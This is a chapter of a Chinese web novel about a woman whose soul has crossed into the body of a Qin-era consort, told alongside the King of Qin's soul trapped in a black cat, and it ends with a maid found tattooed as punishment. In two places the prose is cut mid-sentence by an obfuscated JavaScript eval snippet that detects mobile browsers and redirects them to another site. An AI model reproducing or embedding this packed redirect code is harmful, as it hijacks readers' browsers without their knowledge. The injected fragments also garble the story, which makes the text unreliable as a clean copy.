不仅如此,他还渐渐被猫的一些习性所左右,比如看见圆圆的东西就想抓一把,时不时就去舔自己的毛和爪子,甚至被挠了下巴颏会感到很爽,隐约产生顺从讨好的情绪——这简直太可怕了。 要是以前,谁敢这样对他,绝对会被一遍遍车裂示众——他现在唯一能够安慰自己的,便是对他做出这些行为的人是扶苏,他天然对他有感情,便显得没那么丢人了。 可恶,多想回到那具年轻健壮的身体里,与自己曾经的灵魂合二为一。这样灭六国的进度也会势如破竹,他便能够有更多的时间,用于统一后的建设。 他有太多太多的构想没能实现,有太多太多的愿望戛然而止,而如今上天给了它重生一次的机会,他却根本无法与本体融合。 更要命的是,他发现他离不开芈蓉,或者,确切点说,是寄居在芈蓉身体里的那个灵魂。 不久前有人在她的粥里掺了毒药,他以猫的嗅觉嗅了出来,于是打翻了那个傻乎乎侍女手中的粥碗,救了她一命。 当时他只是不想她死,虽然她那时的状态,已经与死亡无异,可他仍然希望她能活下来。 他蹲伏在她榻边,沉默地望着她那张纯真又恬静的睡颜,竟有种恍若隔了三生三世的陌生感。 前世里,她早早地就像一片枯叶飘离了他,在他心里留下了一道永远也无法弥合的伤口。但他并没有伤心很久,因为他根本就没时间伤心。 他有太多的事要做,太多的雄心壮志要完成,她于他而言,最多也就是一段少年时期的美梦,一个君王人生中必不可少的娇艳点缀。 何况她还曾经背叛过他。 这一点,直到她苍白瘦弱地躺在棺椁里,他仍耿耿于怀着。 他用厚土将她深深埋进心底,只有在看见扶苏时,会触景伤情难受片刻,再后来,连难受也没有了,她在他心中早已变得陌生而遥远,直至痕迹全无。 然而奇怪的是,在濒死的那一刻,她却是最先出现在他脑海中的。一起出现的,还有母后。这个两个先后背叛了自己的女人,竟成了最先来迎接他灵魂的使者…… 他对着湖面,思绪万千,浑然没察觉一道黑影正悄然逼近。 忽地,它的尾巴被一把捏住,它浑身蹿起警觉,本能地跳转过身体要拿爪子攻击偷袭者,却在身体转过来时,猛地顿住了动作。 芈蓉抱着膝盖蹲在它身后,笑嘻嘻的,一手揪着它毛茸茸的尾巴,面容在夜色中温柔姣美,令它一瞬间回想起了她所有的好。 虽然,她实际上并不是它的芈蓉。大概。 “你竟真的跟过来了?”她像握手一样抖了抖它的尾巴,“喂,真的是你吗?黑猫都长得差不多,快说一句话给我听听。” 它傲慢地将尾巴抽出她手指间,姜暖撇撇嘴,没有再伸出手尝试rua它,脸压在膝盖上,朝水面看了一会儿。 “你最好赶紧回去。”黑猫悠悠道,“秦王他……疑心很重的。” “你倒是了解他。”姜暖又撇撇嘴,“哼,我看不仅疑心重,还阴晴不定、小心眼,傲慢无礼,刻薄寡恩——” 手背上突如其来挨了一肉垫,姜暖止住了抱怨,瞪住它:“话说你到底是何方神圣啊?为何要跟着我?莫非——你离不开我?” 说完,像是觉得好笑似的,咯咯笑了起来。 黑猫眸光一暗。 确实是这样,今日她离宫,它便觉得呼吸困难,有种灵魂即将脱壳消散的感觉,所以它此番才紧紧跟上她,免得真的魂飞魄散。 它尚且没找到与秦王融合的方法,在这之前,它离不开她太远。 “回去吧。”它又道一句,转过身朝向水面。 姜暖看着它毛茸茸的背影,强忍住手心痒意,一本正经问它道:“呐,你似乎无所不知,那你能告诉我,弟弟他到底有没有被赵王派刺客刺杀?还是说一切都只是秦王的阴谋?” 这个问题,在她解手的时候忽然窜上脑海,令她疑惑不已。 “都有。”半晌,它仰头望着月亮,晃着尾巴回答道,“想来应该是秦国在邯郸的密探得知了这一消息,迅速传到咸阳,秦王便派手下日夜守在你弟弟身边,在刺客动手前逮捕并严加拷问,获得了一些情报,而后再派人伪装成刺客,假装完成行刺,这样你弟弟既没有死,也知道了兄长想他死这件事。” “好复杂……”姜暖目瞪口呆,短暂忘了它是一只猫,“王上不愿意让赵国质子死在咸阳,这个我理解,但为何还要再行刺一遍呢?” 黑猫转过头,目光幽幽而诡谲:“自然是想要他日后回去,好好报答兄长的‘恩情’啊。” 姜暖愣了半天,才恍然明白,秦王此举是想要搅乱赵国朝政。而历史上,赵国也确实因为内部混乱而加速亡国的。 还真是狡猾腹黑得很,各方各面。 她打了个哆嗦,嗖地抱着胳膊站了起来。 “那、那我回去喽,你若是饿了或者冷了,可以来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368753|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,不过不能当着秦王的面哦。” 说罢,最后瞅了它一眼,提着裙摆快步往回走。 黑猫注视着她的身影,直到以猫的视力也捕捉不到一丝轮廓,才收回目光,窜上一棵大树,蜷起尾巴舔舐前爪上的刮伤,而后阖上眼睛小憩起来。 一路奔波追赶,它也是会累的。 回到营帐,姜暖在门口就脱下鞋履,以足尖踩着地面,生怕发出一点声音,慢慢摸索到地铺旁。 半明半暗间,秦王仍在熟睡,而被子已经有一大半脱离身体,摇摇欲坠地堆叠在床下。 姜暖咕哝了一声,卸下簪子,不打算理睬。 然而丝丝缕缕的冷风从边角漏进来,炭盆火光已微弱许多,若是不盖被子睡到天亮,怕是会感冒。 身体健康都这样情绪不稳定,如果感冒了,不还得把她搓磨死…… 想到这儿,她鼓鼓嘴巴,决定为了自己接下来的安稳,暂且帮他一把。 她于是起身,再度像汤姆猫一样蹑手蹑脚走到他床边,弯腰拾起地上的被子,轻轻地一点点地盖回到他身上。 每盖一寸就紧张一分,最后被子的边缘落在了他胸口上。 其实还应该再往上一点,但那就需要从脚底开始拉拽,她可不敢,索性就盖到胸口,多少也比先前保暖。 她好心用手指在被子边缘怼了怼,尽量隔绝冷空气侵入,倾身间,一缕乌发滑落肩膀,柔柔地贴上他面颊。 她悚然一惊,连忙把那缕造孽的头发扒拉回去用手攥着,而后冷汗直冒、屏住呼吸去看他,却见他依旧是呼吸平稳的安睡模样,才慢慢松了一口气。 别说,他熟睡的样子,真挺像那些精雕细琢的3D模型,一肌一骨都几近完美。 眉骨深邃得恰到好处,鼻梁挺直,睫毛长而浓密,在眼睑下覆下两片深邃的阴翳,薄薄的双唇即便在睡梦中也微微绷着,呈现出一种不好惹的气场。 她呆呆望了片刻,面颊上渐渐泛起两坨红晕。 这可不行。 她咬咬唇,稍稍俯低身子,将里侧的被角也用手指轻轻掖进去,速战速决。 他平稳的呼吸,拂过她面颊,吹动她脸上那些细小的、桃子一样的绒毛。 她心蓦地有些乱了,连忙直起身子,却因为动作太突然而脚下不稳,前后踉跄了几下,最终还是通过捏住床板边缘,才堪堪稳住身体。 然而挣扎平衡间,手指松开了一直握着的厚重发丝。 满头乌润长发,带着清甜的馨香和锦缎般的触感,如瀑般垂落他身前,有几缕搭上了他俊美面容,柔若无骨地弯曲盘绕着。 她大惊失色,几乎想立刻落荒而逃,然而身体刚刚能动弹,发根处就传来一阵突如其来的揪痛,而后身体也被牵扯着更加向前倾倒。 是他,抬起一只骨节分明的大手,一把攥住了她的柔柔青丝,不怎么怜惜地紧握、拉拽,迫使她眼角带泪扑到在他胸口,胆怯又徒劳地轻轻挣扎。 与此同时,一双昳丽长眸,缓缓地睁开,眸光幽沉晦涩,紧紧盯住她因慌乱和微痛而不断乱飘的眸子。 眼中神情,完全不是刚睡醒的样子,更像是在守株待兔。 完了。 姜暖心一下子往下坠落,发出沉重的回响,曲裾微微凌乱,露出里面雪白锁骨和小衣上的半截莲藕。 还有颈窝间那股热乎乎的,糅杂着兰花气味的温热体香。 31.黥刑 姜暖像被鼠夹夹住的小仓鼠那样,吱吱叫唤了两声,便不敢动弹了,眼泪汪汪看着他,两手抵在他胸口,眉眼间蓄满委屈。 “你作甚,鬼鬼祟祟的?” 他眸光一凝,语气不虞地质问道,略略放松了手上力度,手指却仍然攥着她头发,柔滑触感像水一样在他指间流淌。 “我……妾是看您被子都掉在地上了,想着夜里天冷,就过来给您盖上……” 她努力让自己的语气听上去无比真诚,却因为紧张和姿势的缘故,尾音有些浓重,糯糯的,润润的,像是在撒娇。 秦王垂眸扫了眼她红艳艳的唇,和半隐半露在黑暗中的那片雪白,忽然没了兴师问罪的兴头。 然而指缝间发丝触感实在美好,他并没有立刻松开,而是任由它们在他掌中柔软地膨胀。 良久,他才放开她的长发,压下继续欺负的念头,唇角微微翘起,云淡风轻道: “既然你这么愿意服侍寡人,那今夜,便侍奉在寡人身边吧。” 说罢,将被子往上拉了拉,双眸缓缓阖上,喉结惬意地上下轻滚: “若明日一早,寡人发现被子掉下去一点,便治你的罪,听懂了吗?” 姜暖愣愣看着他如雕如刻的侧颜,脑中想起了农夫与蛇的故事。 自己就不该手欠,她捂着喉咙轻轻喘息几声,气咻咻地瞪他,却并不敢挪动分毫。 直到过了大约半个时辰,见他睡得呼吸流畅,才踮着脚尖到自己地铺旁,搬来两条被褥,铺在他塌下,半坐着伏在床沿上,一边继续瞪他,一边与疲倦作斗争。 她见他睡得直挺挺的,心想原来真的有人能如机器人一般,入睡前不需要翻来覆去,眼皮一阖就能保持着最初的姿势秒入睡。 她这种不在床上蛄蛹十几个来回睡不着的人,着实很羡慕。 不过他睡觉时,也确实不大老实。不知是梦见了什么,眉头骤然紧蹙,接着长臂一扫,半截被子又垂下床沿,吓得姜暖连忙给他又盖了回去。 做噩梦了吧?她望着他那能夹死苍蝇的眉心,忽然生出一个猜测。 该不会每次被子滑下去,都是因为做噩梦的缘故吧? 她有点好奇,却不敢一直盯他脸孔,生怕他会像方才那样倏地睁开眼睛,吓得她差点心脏骤停。 但心底深处,还是泛起了一丝心疼。 他又会做什么样的噩梦呢?是幼时在邯郸艰苦的童年,还是迟迟无法亲政的此刻,亦或者—— 他的梦里会有她吗? 她额头抵在床板,觉得自己越来越自作多情了。 也许她在他心中,连十分之一的燕国地图都不如。 睡意渐渐漫过理智,她本能地记得他的命令,却禁不住眼皮打架、意识混沌,脑中挣扎了好半天,最终还是脸枕着床边,沉沉睡了过去。 不过她还是做了最后的部署,手紧紧抓住了某样东西,潜意识告诉她只要把这东西抱住了,被子便不会滑落…… 翌日清晨,她是被一记落在脑壳上的敲打惊醒的。 她一手揉着眼睛,懵懵懂懂抬起睡得红扑扑的脸蛋朝前看去。 视野前方是一片白色,慢慢地那片白色长出了两条胳膊,其中一条,正被她牢牢抱在怀里,坚硬而温暖。 嗯? 姜暖呆呆歪起脑袋,睡意仍笼罩着她,让她神思不大清明。她低头瞅了瞅那条修长、骨骼坚硬的手臂,心里隐隐浮起不好的预感。 果然,接下来一侧脸颊被用力揪住,向外扯了扯,她吃痛,松开那只手臂,躲闪间睡意也随之倏然消散。 接着她如遭雷击般浑身一僵,惊悚地发现,自己居然抱着秦王的一只胳膊,睡了整个后半夜—— 她哆嗦着抬高视线,与折身坐在榻上的秦王俯下来的目光正好相撞。 好像不是很凶,隐隐还带着点玩味的笑意—— 错、错觉吧? “……”姜暖樱唇极度开合,试图为自己辩解,而这时秦王忽地撩开被子,两条腿搭了下来,唬得姜暖慌忙往旁边躲闪。 “王、王上昨夜不是说,只要被子没有滑落,便不会治妾的罪——”她眼波涟涟地狡辩道。 “寡人说要治你的罪了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387695|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“?”他竟会如此心地善良吗?姜暖简直不敢相信自己的耳朵,乌溜溜的杏眼睁得溜圆。 下一秒,两腮就被一只大手抓在掌中,拇指与食指往中间一挤,她的嘴巴便肉嘟嘟地撅起,看上去可爱又好笑。 某人歪头欣赏了一会儿,愉悦地轻哼一声,移开手掌,心情很好地自榻边起身。 很快,昨夜的内侍进来为他洗漱更衣,姜暖趁机抱着被子躲回自己的床铺边,一边揉着被捏得泛红的腮肉,一边满腹委屈地整理着自己的曲裾。 她在他眼里,或许真的只是一个色香味俱全的美丽玩物,他现在愿意迁就她、逗弄她,就是因为她还有玩物的价值。 虽然很难受,但她必须得牢牢记住这一点。 那个脸被绸巾围住的侍女,也端着铜盆走进来。她的动作比昨夜稳当了些,身影和额头轮廓仍透着说不出的熟悉。 她为她洗了脸,净了手,簪好头发,正欲褪去时,姜暖忽然站了起来。 她感到额头一阵滚热,快步上前,在侍女还没反应过来时,一把扯掉了她面上的绸巾。 绸巾下的面容,令她倒抽一口冷气。 竟是阿傩。果然是阿傩。 那张与她酷似的脸孔惨白如石膏,右侧脸颊被黥了一个很大的、姜暖不认得的黑色大字。 笔画所经处,皮肉微微向外翻卷,被墨汁浸染成焦炭的颜色,隐隐可见里面一层粉白嫩肉,触目惊心、惨不忍睹。 她受了黥刑,而原因,姜暖打了个冷战,不愿再想下去。 指尖控制不住地痉挛起来,她一双美眸难以置信地、带着一丝愤恨与质问,朝正慢条斯理享受下人服侍的秦王望去。 阿傩则捂着脸颊,端着盆垂下头落荒而逃。 难怪那时在车上,他不肯回答她。 原来他早就对阿傩降下了惩罚,还残忍地让她带着新鲜的伤口,以侍女的身份来服侍她这个始作俑者…… 她第一次真切而直观地感受到,他骨子里的残酷与暴虐。 亏她还在昨夜,对他产生过一丝心疼。 真是傻透了。